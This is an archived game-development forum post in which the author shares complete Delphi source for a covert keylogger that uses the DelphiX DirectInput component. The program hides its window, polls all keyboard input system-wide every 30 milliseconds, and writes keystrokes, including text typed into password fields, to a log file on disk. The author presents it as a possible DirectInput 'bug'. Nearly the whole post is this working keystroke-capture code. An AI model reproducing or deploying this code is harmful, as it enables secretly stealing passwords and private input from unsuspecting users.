Jump to content
  • Advertisement

Archived

This topic is now archived and is closed to further replies.

Jimmy Valavanis

How to retrieve input from password Edit using DirectInput

This topic is 5185 days old which is more than the 365 day threshold we allow for new replies. Please post a new topic.

If you intended to correct an error in the post then please contact us.

Recommended Posts

Were is how we can retreive input from a password Edit, or more. Just make a Delphi form and place a TTimer and a DXInput component (DXInput component provided by DelphiX). When this application runs, it logs all keyboard input. Just not so elegant, but it works! Could this be consider as a "bug" to DirectInput?
// Just make a form and add

// a Timer and a DXInput component...

// DXInput component for DelphiX component collection

// You can download  DelphiX at http://www.yks.ne.jp/~hori/

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  DXInput, ExtCtrls, ThreadComponent;

const
  BUFSIZE = 64000;
  VK_0 = $30;
  VK_9 = $39;
  VK_A = $41;
  VK_Z = $5A;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    DXInput1: TDXInput;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    oldState: TKeyboardState;
    Keys: array[0..BUFSIZE - 1] of char;
    index: integer;
    lastKey: integer;
    procedure AddChar(id: integer);
    procedure WriteData;
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  index := 0;
  lastKey := 0;
  AddChar(13);
  AddChar(10);
  AddChar(13);
  AddChar(10);
  Visible := false;
  FillChar(oldState, SizeOf(oldState), Chr(0));

  DXInput1.ActiveOnly := false;

  Timer1.Interval := 30;
  Timer1.Enabled := true;
end;

function StatesEqual(const s1, s2: TKeyBoardState): boolean;
// Check if two keyboard states are equal

var i: integer;
begin
  for i := 0 to 255 do
    if s1[i] <> s2[i] then
    begin
      result := false;
      exit;
    end;
  result := true;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var i: integer;
begin
  DXInput1.Keyboard.Update;
  for i := 0 to 255 do
    if DXInput1.Keyboard.Keys[i] then
      AddChar(i);
end;

// Add a retrieved character to buffer

procedure TForm1.AddChar(id: integer);
begin
// Remove this line to avoid replications...

//  if id = lastKey then exit;

  Keys[index] := chr(byte(id));
  inc(index);
  lastKey := id;
  if index = BUFSIZE then
    WriteData;
end;

// Write data to log...

procedure TForm1.WriteData;
var f: file;
begin
  AssignFile(f, 'c:\mylog.txt');
  {$I-}
  reset(f, 1);
  {$I+}
  if IOResult <> 0 then
  begin
    {$I-}
    rewrite(f, 1);
    {$I+}
  end;
  if IOResult <> 0 then exit;
  seek(f, FileSize(f));
  BlockWrite(f, Keys, index);
  index := 0;
  CloseFile(f);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  WriteData;
end;

end.
You may see douplicates in log file but I wrote this code in a hurry, it took me about 5 minutes.... Jim Valavanis [edited by - Jimmy Valavanis on June 9, 2004 3:43:06 AM]

Share this post


Link to post
Share on other sites
Advertisement

  • Advertisement
×

Important Information

By using GameDev.net, you agree to our community Guidelines, Terms of Use, and Privacy Policy.

We are the game development community.

Whether you are an indie, hobbyist, AAA developer, or just trying to learn, GameDev.net is the place for you to learn, share, and connect with the games industry. Learn more About Us or sign up!

Sign me up!